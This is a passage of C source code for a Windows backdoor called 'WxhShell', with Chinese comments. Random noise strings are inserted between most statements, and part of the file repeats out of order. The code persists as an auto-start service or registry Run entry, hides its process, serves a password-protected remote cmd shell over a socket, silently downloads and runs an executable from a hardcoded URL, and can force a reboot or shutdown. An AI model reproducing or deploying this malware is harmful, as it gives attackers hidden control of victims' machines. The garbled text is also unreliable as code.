-[c F<DXPToX% g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O]KQ]zN g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EAlLxXDDh NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d<[L^s9 f$qkb$?]} if (!NtQueryInformationProcess) return 0; }6gum I.it4~]H hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %Z*N /nU if(!hProcess) return 0; J3$@: S' 85lcd4&~ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?_ eHvw S|F:[(WaM CloseHandle(hProcess); AWd,qldv nH B hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +[}<u- - if(hProcess==NULL) return 0; R{pF IyR +
]iK^y-.r HMODULE hMod; @hy~H?XN char procName[255]; L%+mD$@u unsigned long cbNeeded; HlEHk' [S9"' ^H if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); je%D&ci$ y9.?5#aL CloseHandle(hProcess); rU6A^p\, {C0Y8:"` if(strstr(procName,"services")) return 1; // 以服务启动 MG~bDM4 !t}yoN
n| return 0; // 注册表启动 MjWxfW/ } .y lvJ$ eD7qc1*G // 主模块 :(@P
*"j int StartWxhshell(LPSTR lpCmdLine) 5vJxhBm/ { Wb[k2V SOCKET wsl; P#D|CP/Cu BOOL val=TRUE; J 5xMA- int port=0; $Ggnn# struct sockaddr_in door; >P]gjYN 2[qoqd( if(wscfg.ws_autoins) Install(); )sNPWn8<Uy %NM={X|' port=atoi(lpCmdLine); Y[H769 SlwQ_F"4L if(port<=0) port=wscfg.ws_port; xP/q[7>#Q K)5j WSADATA data; {e q378d if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *+nw%gZG @DF7j|]tV if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; g>k?03; setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m)3M) 8t door.sin_family = AF_INET; tY:
Nq*@
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 57=d;Yg e door.sin_port = htons(port); H:XPl$; 7?{y&sf if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %M))Ak4~a closesocket(wsl); b%vIaP|]B return 1; -*i_8` } )W InPW 2pU'&8 if(listen(wsl,2) == INVALID_SOCKET) { /sj*@HF= closesocket(wsl); \KzJNCOT return 1; ^9]iUx } [`s0 L# Wxhshell(wsl); 'nBP% WSACleanup(); ~KYzEqy %ek0NBE7 return 0; zBu@a:E%H O"Nr$bS(Y } UoKVl- Y;%LwDC // 以NT服务方式启动 j7lJ7BIr VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %y|pVN!U { Ff(};$/&W DWORD status = 0; mC$y*G DWORD specificError = 0xfffffff; y_w
<3 .xWaS8f serviceStatus.dwServiceType = SERVICE_WIN32; 3T0~k-- serviceStatus.dwCurrentState = SERVICE_START_PENDING; lWtfcU?S[ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k sXQ}BE serviceStatus.dwWin32ExitCode = 0; `:*2TLxIk serviceStatus.dwServiceSpecificExitCode = 0; 4(LLRzzW serviceStatus.dwCheckPoint = 0; h`dQOH# serviceStatus.dwWaitHint = 0; Bv!{V)$ J?yasjjgP hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M<d!j I9) if (hServiceStatusHandle==0) return; 0<a|=kZ AvB=/p@] status = GetLastError(); nq8XVT.m^\ if (status!=NO_ERROR) ()bQmNqmO= { u~ipB*Zf serviceStatus.dwCurrentState = SERVICE_STOPPED; aHmg!s}& serviceStatus.dwCheckPoint = 0; 7 QNx*8 p serviceStatus.dwWaitHint = 0; X:$vP'B> serviceStatus.dwWin32ExitCode = status; yF?O+9R
A serviceStatus.dwServiceSpecificExitCode = specificError; "a(4]) SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z,e|L4& return; R54ae:8 } I;%1xdPt \X _}\_c,d serviceStatus.dwCurrentState = SERVICE_RUNNING; >Zs! serviceStatus.dwCheckPoint = 0; ;Vs2e serviceStatus.dwWaitHint = 0; pu]U_Ll@ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wbrOL(q.m } wjwCs` U4fv$gV // 处理NT服务事件,比如:启动、停止 !p!Qg1O6o VOID WINAPI NTServiceHandler(DWORD fdwControl) j1%8r*Jj { |-b\N6
} switch(fdwControl) n:OXv}pv { #UoFU{6tM case SERVICE_CONTROL_STOP: cx$h" serviceStatus.dwWin32ExitCode = 0; *X/Vt$P serviceStatus.dwCurrentState = SERVICE_STOPPED; C@eL9R;N1 serviceStatus.dwCheckPoint = 0; R6od{#5H$ serviceStatus.dwWaitHint = 0; yRyXlZC { grzmW4Cw SetServiceStatus(hServiceStatusHandle, &serviceStatus); <)wLxWalF } dGm%If9P return; \} v@!PQl case SERVICE_CONTROL_PAUSE: @jm +TW serviceStatus.dwCurrentState = SERVICE_PAUSED; @n?"*B break; &qG/\ case SERVICE_CONTROL_CONTINUE: z$R&u=J serviceStatus.dwCurrentState = SERVICE_RUNNING; ;mQ|+|F6X break; *3fl}l case SERVICE_CONTROL_INTERROGATE: g:ky;-G8b break; -0kMh.JYR }; $<nRW*d SetServiceStatus(hServiceStatusHandle, &serviceStatus); R}gdN-941 } \efDY[j/ S',h*e // 标准应用程序主函数 &gY578tU int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r=0PW_r: { |ugdl|f 5>.ATfAsV // 获取操作系统版本 4X]/8%]V OsIsNt=GetOsVer(); (m:Q'4Ep GetModuleFileName(NULL,ExeFile,MAX_PATH); ) hs&?:) \tYImh // 从命令行安装 JCnHEH if(strpbrk(lpCmdLine,"iI")) Install(); H\oxj,+N ]jxyaE&%4 // 下载执行文件 jH9PD8D\ if(wscfg.ws_downexe) { F_'{:v1GW if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fc@<' -VA WinExec(wscfg.ws_filenam,SW_HIDE); XjN=UhC } klnNBo! QOktIH if(!OsIsNt) { 9)v]jk // 如果时win9x,隐藏进程并且设置为注册表启动 ftTD-d HideProc(); jn|NrvrX StartWxhshell(lpCmdLine); GqL&hbpi } :JG5)H}j+ else `aAE4Ry? if(StartFromService()) Zt!$"N., // 以服务方式启动 e8("G[P> StartServiceCtrlDispatcher(DispatchTable); Z,2?TT|p else \#]%S/_ A // 普通方式启动 'RKpMdoz StartWxhshell(lpCmdLine); ,]wQ]fpt lwX9:[Z return 0; !9PAfi? } / ^d9At614 ^6kl4:{idE <M1*gz k1xx>=md|C =========================================== 1a(\F7 j%
7Gje[ lqOpADLS3
E/oLE^yL ME]4tu onSt%5{P%X " ?wG i
/[{xRXiR #include <stdio.h> ,Ohhl`q( #include <string.h> `)y
;7%- #include <windows.h> DSRc4|L #include <winsock2.h> @NA+Ma{N #include <winsvc.h> ^UKY1Q. #include <urlmon.h> C;HEvq7 6
:3Id #pragma comment (lib, "Ws2_32.lib") e8 ]CB #pragma comment (lib, "urlmon.lib") F]6G<6T[ I2CI9,0 #define MAX_USER 100 // 最大客户端连接数 KyX2CfW}t #define BUF_SOCK 200 // sock buffer C('D]u$Hdk #define KEY_BUFF 255 // 输入 buffer &%j`WF4p d^RcJ3w #define REBOOT 0 // 重启 HN NeH;L #define SHUTDOWN 1 // 关机 ?
bWc<] k8}fKVU; #define DEF_PORT 5000 // 监听端口 /ojwOJ a. D cmy{ #define REG_LEN 16 // 注册表键长度 W?zj^y[w #define SVC_LEN 80 // NT服务名长度 !`=iKe&%E <}~
/. Cx // 从dll定义API Tdh.U{Nz typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >l)x~Bkf$j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;~:Z~8+{c typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -{OJM|W+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,0h{RZKw qbq2Bi'a // wxhshell配置信息 HLDv{G'7 struct WSCFG { N*Q*>q int ws_port; // 监听端口 B">Ko3 char ws_passstr[REG_LEN]; // 口令 npkT>dB+ int ws_autoins; // 安装标记, 1=yes 0=no <Nrtkf4-O char ws_regname[REG_LEN]; // 注册表键名 Pzzzv^+ char ws_svcname[REG_LEN]; // 服务名 4K:Aqqhds char ws_svcdisp[SVC_LEN]; // 服务显示名 )fXw ~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 F~eYPaEKy! char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >Vq07R int ws_downexe; // 下载执行标记, 1=yes 0=no /'DAB** char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +sn0bi/rG char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xM<aQf\j OCdX'HN5Y }; ;U?=YSHk7 W#g!Usf:/ // default Wxhshell configuration "B__a( struct WSCFG wscfg={DEF_PORT, }o!b3*# "xuhuanlingzhe", WP\kg\o 1, ?E!M%c@, "Wxhshell", 7CR#\&h` "Wxhshell", +pq=i "WxhShell Service", 2<J2#}+\ "Wrsky Windows CmdShell Service", $ bMmyDw "Please Input Your Password: ", Z:h'kgG & 1, \PN*gDmX "http://www.wrsky.com/wxhshell.exe", <Ffru?o4j "Wxhshell.exe" 3+'vNc }; Bj6%mI42hl Dj=$Q44 // 消息定义模块 r\fkx> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?
}ff O char *msg_ws_prompt="\n\r? for help\n\r#>"; ux^rF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5#f_1
V char *msg_ws_ext="\n\rExit."; fGeie m char *msg_ws_end="\n\rQuit."; s~(`~Y4 char *msg_ws_boot="\n\rReboot..."; &k*oG:J3 char *msg_ws_poff="\n\rShutdown..."; ImB5F'HI$ char *msg_ws_down="\n\rSave to "; ^"lEa-g& ^2BiMH3j char *msg_ws_err="\n\rErr!"; Q$p3cepsK char *msg_ws_ok="\n\rOK!"; ;8MQ'# )Dhx6xM[a char ExeFile[MAX_PATH]; ~FAk4z=Ed int nUser = 0; =YO<.(Lu HANDLE handles[MAX_USER]; NoF|j57?u' int OsIsNt; (g[WZB3x %8DI)n#H SERVICE_STATUS serviceStatus; jpYZ)
So- SERVICE_STATUS_HANDLE hServiceStatusHandle; l2M( u"7!EhX& // 函数声明 L^CB#5uG int Install(void); Y<Ae_yLa int Uninstall(void); mmjWLrhlu int DownloadFile(char *sURL, SOCKET wsh); ?vWF[ DRd' int Boot(int flag); _
j'm2BAO void HideProc(void); "usPzp5 int GetOsVer(void); G
9 &,` int Wxhshell(SOCKET wsl); 7ieAd/:_ void TalkWithClient(void *cs); w?"M int CmdShell(SOCKET sock); Zr6.Nw int StartFromService(void); g*_n|7pB int StartWxhshell(LPSTR lpCmdLine); 4!ZT_q >@G"*le*) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y~OP9Tg VOID WINAPI NTServiceHandler( DWORD fdwControl ); mIrN~)C4\ \O~/^ Y3U! // 数据结构和表定义 #d<"Ub SERVICE_TABLE_ENTRY DispatchTable[] = 1\lZ&KX$i { <ir]bQT {wscfg.ws_svcname, NTServiceMain}, wLI1qoDM {NULL, NULL} %'. x vC }; eFy
{VpO+ @R;k@b // 自我安装 ;c|_z 9+ int Install(void) N2j^fZd_ { WCqa[=v)t char svExeFile[MAX_PATH]; yoieWnL} HKEY key; <7Yh<(R e^ strcpy(svExeFile,ExeFile); keQRS+9 t<}N>%ZO // 如果是win9x系统,修改注册表设为自启动 k=p[Mlic/ if(!OsIsNt) { @!ja/Y^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !YO'u'4<aK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mg}/gO%o RegCloseKey(key); gE*7[*2?t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }=|{"C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /VEK<.,aMv RegCloseKey(key); Y HS/|- return 0; yZoJD{'?Sw } }[c.OJ:
} ZhRdml4U2 } iM1E**WCtv else { GKUjtPu k
MV1$ // 如果是NT以上系统,安装为系统服务 OM7AK
B=S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hZo f if (schSCManager!=0) 7#Fcn { e=#D1 SC_HANDLE schService = CreateService 2*gB ~Jn4 ( p,(W?.ZDN? schSCManager, c*R\fQd wscfg.ws_svcname, S5H} wscfg.ws_svcdisp, h~._R6y SERVICE_ALL_ACCESS, I;?PDhDb SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nHF~a?|FT SERVICE_AUTO_START, hVFZQJ?cv SERVICE_ERROR_NORMAL, 211T}a svExeFile, {5ehm NULL, Tk 'Pv NULL, ;>5]KNj
NULL, Bz%wV- NULL, m9c`"! NULL $Dv5TUKw ); ^rY18?XC+: if (schService!=0) OYmutq { ]70ZerQ~L CloseServiceHandle(schService); ^,f^YL; CloseServiceHandle(schSCManager); ESFJN}Q%0. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v/v PU strcat(svExeFile,wscfg.ws_svcname); qrZ3`@C4k if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d|W=_7z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,E%O_:}R RegCloseKey(key); {C8IYBm return 0; pP"j| } j]- _kjt } P_p\OK*l]o CloseServiceHandle(schSCManager); -M T1q qi } |v#D}E } !N][W#: UbIUc}ge return 1; =jxy4`oF } @li/Y6Wh R7h3O0@! // 自我卸载 /74h+.amg int Uninstall(void) NP4u/C< { f1U8 b*F< HKEY key; v7hw% 9(= nC?Lz1re if(!OsIsNt) { VT~%);.# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dd
+lQJ c RegDeleteValue(key,wscfg.ws_regname); k#/cdK!K RegCloseKey(key); +`$$^x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ])?h~
RegDeleteValue(key,wscfg.ws_regname); w~=xO_% RegCloseKey(key); GlC (uhCpV return 0; *L Y6hph" } O OABn* } Fs =)*6}& } <{YzmN\Z else { 23'{{@30 FKhgUnw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @FF{lK?[
if (schSCManager!=0) DqmKDU { /+ais3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JFNjc:4{0 if (schService!=0) +o0yx U
7t { qM2m ! if(DeleteService(schService)!=0) { =@hCc CloseServiceHandle(schService); PJ<qqA`! CloseServiceHandle(schSCManager); }1CvbB%,A return 0; )1GJ^h$l } !\Cu J5U CloseServiceHandle(schService); =Uo*-EH } utn,`v CloseServiceHandle(schSCManager); 3rJ LLYR } MJH>rsTQ } ^Q+z^zlC 0G Q8}r return 1; 6g#E/{kQw } zF? 6" iO18FfM_ // 从指定url下载文件 -r~9'aEs int DownloadFile(char *sURL, SOCKET wsh) <*/Z>Z_c2 { eIf-7S]m HRESULT hr; ,[dvs&-* char seps[]= "/"; [a~@6*= char *token; ~,8#\]xR char *file; q @wX= char myURL[MAX_PATH]; kK:Wr&X0H char myFILE[MAX_PATH]; E7w^A . _Jypk8 strcpy(myURL,sURL); cbzS7q<) token=strtok(myURL,seps); C}L2'l, while(token!=NULL) @$%.iQ7A; { yOP$~L#TWs file=token; 0&\71txrzg token=strtok(NULL,seps); DPmY_[OAE } .vi0DuD6 ^4Se=Hr
z2 GetCurrentDirectory(MAX_PATH,myFILE); uFlf#t
= strcat(myFILE, "\\"); :C0)[L strcat(myFILE, file); yB{1&S5C send(wsh,myFILE,strlen(myFILE),0); &arJe!K send(wsh,"...",3,0); PTXS8e4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /_8nZVu if(hr==S_OK) G<`(d@g return 0; rH\oFCzC else *o(bB!q"c return 1; g1l:k1\Ht G$CSZrP. } Q+_z*
!u4eI0?R? // 系统电源模块 t.bM]QU!1 int Boot(int flag) "W9z>ezp { ^![7X'!;pt HANDLE hToken; f3.oc9G TOKEN_PRIVILEGES tkp; "kIlxf3 +<B"g{dLuX if(OsIsNt) { 4((p?jbC OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {Dy,u%W? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4TiHh tkp.PrivilegeCount = 1; I\[z(CHg@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >-w#&T &K AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B=}QgXg if(flag==REBOOT) { KO"+"1 . if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !i@A}$y return 0; WK#%G } Df(+@L5! else { SFFJyRCz if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E4_,EeC# return 0; cw0uLMqr` } K]dR%j } :TV`uUE else { LA/Qm/T if(flag==REBOOT) { QXy=| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Wu8zK=Ve( return 0; fZnq5rTk" } 0[7"Lhpd else { wqzpFPk( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hx:^xW@r4P return 0; QWC C } Y\4B2:Qd9 } )N\ BC /paZJ}Pr. return 1; )%8st' } sEL0h4 |fgh
ryI, // win9x进程隐藏模块 zq3f@xOK void HideProc(void) pXA|'U5] { $uRi/%Q9 [.CP,Ly HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l$R9c+L= if ( hKernel != NULL ) 3&+nV1 { #|=lU4Bf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'Ddzlip ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hyhm{RC?[ FreeLibrary(hKernel); ~Ra8(KocD } q{f (T\ rD !GEU return; 2{oQ } Np$ue
}yr l2Rnyb<;; // 获取操作系统版本 it-2]Nw int GetOsVer(void) j|XL$Q { -q?, OSVERSIONINFO winfo; ]kO|kIs winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VAqZ`y GetVersionEx(&winfo); .}(X19R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |PGTP#O< return 1; 95ix~cH3q else TWfkr return 0; .%M80X{5~ } <l eE.hhf. ;Qc^xIPy // 客户端句柄模块 _E/ int Wxhshell(SOCKET wsl) "2 :zWh7| { yOk{l$+ SOCKET wsh; 2a 7"~z~ struct sockaddr_in client; /^X)>1)j DWORD myID; -%V~1 0eK>QZ_ while(nUser<MAX_USER) oc[z dIk { !>GDp >0 int nSize=sizeof(client); jQBn\^w wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Wq}W )E if(wsh==INVALID_SOCKET) return 1; U% ?+N 3l$ D%y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lW4 6S if(handles[nUser]==0) vRDs~'f closesocket(wsh); M(^ e)7a1 else \#F>R, nUser++; 5%@~"YCo } bPV;" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VS_I'SPPIc s
E;2;2u" return 0; ni<\AF]` } 8u1?\SYnb <vxTfE@>bp // 关闭 socket >q ,Z*s>? void CloseIt(SOCKET wsh) "x
3C3Zu.; { *,=8x\Shp closesocket(wsh); 9j5-/
nUser--; 80Q%c( i ExitThread(0); K=pG,[ChA } ^nDa-J$ "}oo`+]Cq // 客户端请求句柄 UoSc<h| void TalkWithClient(void *cs) 8~|v:qk { joNV4v"=` >Qg-dJt[ SOCKET wsh=(SOCKET)cs; D/,(xWaT char pwd[SVC_LEN]; 1Cw$^jd char cmd[KEY_BUFF]; jBd=!4n char chr[1]; ,)VAKrSg int i,j; {j4&'=C: JcfGe4 while (nUser < MAX_USER) { ZzP&Zrm oqg +<m if(wscfg.ws_passstr) { ,v?FR
}v if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d\8j!F^= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B^{~,' //ZeroMemory(pwd,KEY_BUFF); HC6v#-( `{ i=0; (aq-aum-I while(i<SVC_LEN) { 4i<GqG #wkSru&LS // 设置超时 ZQ' |B fd_set FdRead; hb9HVj struct timeval TimeOut; 0vMKyT3 c FD_ZERO(&FdRead); vTL/% SJ8 FD_SET(wsh,&FdRead); QC6QqcOX TimeOut.tv_sec=8; ]!s@FKC{; TimeOut.tv_usec=0; btbuE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z<J2e^j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RS@G.| :u)Qs#'29 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YHxQb$v) pwd=chr[0]; uh>"TeOi if(chr[0]==0xd || chr[0]==0xa) { - Nt8'- pwd=0; D<WGau2H break; {CFy
% } (Bv~6tj~J i++; gtqtFrleG } S@TfZ3Go| &MB1'~Q,hq // 如果是非法用户,关闭 socket 9S l5jn if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xmfZ5nVL } 0;]VTz?P ZoCk]hk send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +6^hp-G7 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6 B7F mXyg\5 while(1) { q%,y66pFr !Y/S 2J ZeroMemory(cmd,KEY_BUFF); APCE}%1U 4ti,R' // 自动支持客户端 telnet标准 U r8JG&, j=0; k?1e+ \ while(j<KEY_BUFF) { y'z9Ya if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _94R8?\_V7 cmd[j]=chr[0]; w$""])o, if(chr[0]==0xa || chr[0]==0xd) { $4^h>x cmd[j]=0; \XfLTv break; JbN,K } f'BmIFb# j++; P0k.\ 8qz } Gh<#wa['} #F6M<V' // 下载文件 [jGE{<Je if(strstr(cmd,"http://")) { @4Q/J$ send(wsh,msg_ws_down,strlen(msg_ws_down),0); -KZ9TV # R if(DownloadFile(cmd,wsh)) ;wZplVB7y send(wsh,msg_ws_err,strlen(msg_ws_err),0); :b!&Xw$ else K~fWZT3] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xU(b:D Z } mcs!A/]< else { 2(P<TP._E LKZv#b[h switch(cmd[0]) { p}Bh g!z &lQnZ // 帮助 ,L-V?B(UQ case '?': { pIKfTkSqH send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E
`V?Io break; >4Qj+ou } \VypkbE+ // 安装 $y UPua/- case 'i': { dqi31e{*2\ if(Install()) EOS[MjX+J send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1bjWWNzQA else D8{f7{nY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $J0o%9K
break; !LsIHDs4 } R~;8v1>K // 卸载 7&(h_}Z case 'r': { tq L2' (= if(Uninstall()) 6H;\Jt send(wsh,msg_ws_err,strlen(msg_ws_err),0); o@L
'|#e else o
:j'd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "
BU4\QF- break; Kp!A
ay } UlPGB2B // 显示 wxhshell 所在路径 3PkU>+.6 case 'p': { 08g2? 5w" char svExeFile[MAX_PATH]; 6w_TL<S strcpy(svExeFile,"\n\r"); =%B}8$.| strcat(svExeFile,ExeFile); *o<|^,R send(wsh,svExeFile,strlen(svExeFile),0); O>9-iqP>`d break; M}
+s_h9 } 2;w> w#}> // 重启 iT+t case 'b': { AdzdYZiM_ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /XdLdA!v if(Boot(REBOOT)) &3itBQF send(wsh,msg_ws_err,strlen(msg_ws_err),0); =p dLh else { 474
oVdGx closesocket(wsh); }n
+MVJ;dG ExitThread(0); (@bq@0g } QoMa+QTuc break; 9Fg: } ={jj'X9 // 关机 5D mSgP: case 'd': { cs4IO
O$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M7YbRl if(Boot(SHUTDOWN)) G{zxP%[E send(wsh,msg_ws_err,strlen(msg_ws_err),0); _*xY>?Aq else { y`cL3
xr4R closesocket(wsh); '}q/;}ih ExitThread(0); Gq7\b({= } mt[ #=Yba break; *g4Uo{ } ![eipOX // 获取shell HaR x(p0 case 's': { 5JG`FRW! CmdShell(wsh); om6`>I* closesocket(wsh); Vygh|UEo ExitThread(0); Gc;-zq break; GKG:iR) } +Q"XwxL<6 // 退出 qVvnl case 'x': { -WGlOpg0; send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fe}RmnAC CloseIt(wsh); "kKIv|` break; tv;?W=&P } l>("L9 // 离开 -.-@|*5 case 'q': { Yfy";C7X send(wsh,msg_ws_end,strlen(msg_ws_end),0); QHtN_Q_F closesocket(wsh); uI3oPP> $ WSACleanup(); {
3 "jn exit(1); @[Wf!8_ break;
vF'IK, } ~N)(|N } hK3Twzte }
8L`wib2 YI]/gWeu // 提示信息 xJOp~fKG if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |{rhks~ } 9MbF: } fS%B/h= 0;w84>M return; ^C}f|{J } U?Vik -tp3qi // shell模块句柄 T7 (d int CmdShell(SOCKET sock) "i!W(}x+ { C\ 34R STARTUPINFO si; 'yh)6mid ZeroMemory(&si,sizeof(si)); +u
lxCm_lV si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %iZ~RTY6 ! si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qr~zTBT]
E PROCESS_INFORMATION ProcessInfo; P75@Yu( char cmdline[]="cmd"; *~.'lE%[U CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~x J#NC+ return 0; CU/Id`"tW } Q{
{= A^4#6],%v // 自身启动模式 s1X?]A int StartFromService(void) Ol;"}3*Z* { X& XD2o"rt typedef struct B~ j3!? { !VHw*fL|r DWORD ExitStatus; g$z6*bL DWORD PebBaseAddress; +Edq4QYwR DWORD AffinityMask; G%CS1# DWORD BasePriority; V! .I> ULONG UniqueProcessId; %B\VY+ ULONG InheritedFromUniqueProcessId; Z,>owoP4 } PROCESS_BASIC_INFORMATION; (T.j3@Ko eXkpU7w; PROCNTQSIP NtQueryInformationProcess; &-Q_%eM^ &7eN
EA static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6?/f$,v static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _?XR;2] s|R`$+'{ HANDLE hProcess; `*B6T7p1 PROCESS_BASIC_INFORMATION pbi; xzf/W+.>. ~e5E%bXxC HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O1oh,~W if(NULL == hInst ) return 0; t*-_MG Yv[<c!\
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w4RtIDW: g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r\q|DZ7 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T~d_?UAw$ y!~ }7= if (!NtQueryInformationProcess) return 0; (^~~&/U_U$ +y 48.5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mS+sh'VH if(!hProcess) return 0; ZD<e$PxxCd O
